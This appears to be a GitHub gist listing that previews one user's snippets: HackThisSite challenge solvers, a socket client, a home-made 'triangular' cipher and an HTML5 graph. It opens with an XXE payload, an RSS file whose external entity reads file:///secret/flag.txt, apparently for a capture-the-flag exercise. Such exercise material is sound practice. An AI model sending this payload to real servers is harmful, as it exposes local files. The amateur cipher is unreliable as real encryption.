Skip to content

Instantly share code, notes, and snippets.

@GSkouroupathis
GSkouroupathis / 1
Last active September 16, 2016 13:41
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [
<!ENTITY xxe SYSTEM "file:///secret/flag.txt" > ]>
<rss>
<channel>
<title>test</title>
<description>test</description>
<entry>
<title>&xxe;</title>
@GSkouroupathis
GSkouroupathis / real6Solver
Created October 15, 2013 12:32
Solves HackThisSite realistic challenge #6 (www.hackthissite.org/playlevel/6/)
#HTS realistic challenge 6 BY GEORGE SKOUROUPATHIS
#YOU NEED TO HAVE real6.txt and real6a.txt
openfile1 = open('C:\Python26/programs/real6/real6.txt','r+')
fileList = openfile1.readlines()
newList = range(len(fileList)/3)
index = 0
sum = 0
while index < len(fileList):
sum += int(fileList[index])
if (index + 1)%3 == 0:
@GSkouroupathis
GSkouroupathis / socketClient
Created October 15, 2013 12:29
Sets up a communication between the server and the client. The server side receives messages and the client side sends it.
#CLIENT.PY BY GEORGE SKOUROUPATHIS
from socket import *
HOST = 'localhost'
PORT = 2333
BUFSIZ = 1024
ADDR = (HOST, PORT)
tcpCliSock = socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
@GSkouroupathis
GSkouroupathis / prog1Solver
Created October 15, 2013 12:26
Solves HackThisSites programming challenge #1 (www.hackthissite.org/missions/prog/1/)
#HTS programming challenge 1 by GEORGE SKOUROUPATHIS
#YOU NEED TO HAVE inputlist.txt and wordlist.txt
wordlist = []
scrambledlist = []
inputlist = []
finallist = []
wordlistfile = open('C:\Python26\programs\prog1/wordlist.txt', 'r+')
wordlist_n = wordlistfile.readlines()
for word_n in wordlist_n:
@GSkouroupathis
GSkouroupathis / triangularEncryption
Created October 15, 2013 12:25
Encrypts the plaintext using my very own triangle algorithm.
#TRIANGULAR ENCRYPTION.PY BY GEORGE SKOUROUPATHIS
#Character table size
def set_charsize():
charsize = input("Enter your character table size: ")
if charsize < 95:
charsize = 95
#Create a list with the number of triangles in each row
rows = []
@GSkouroupathis
GSkouroupathis / HTML5graph
Last active December 25, 2015 14:19
Displays an array of numbers on a line or bar graph.
<!DOCTYPE html>
<html>
<head>
<title>HTML5 Hits Graph</title>
</head>
<body style="background:#000;">
<!-- BY GEORGE SKOUROUPATHIS -->
<center>
<canvas id="myCanvas" width="778px" height="340px" style="border:1px solid #333; background:#222;background-position:0 0;">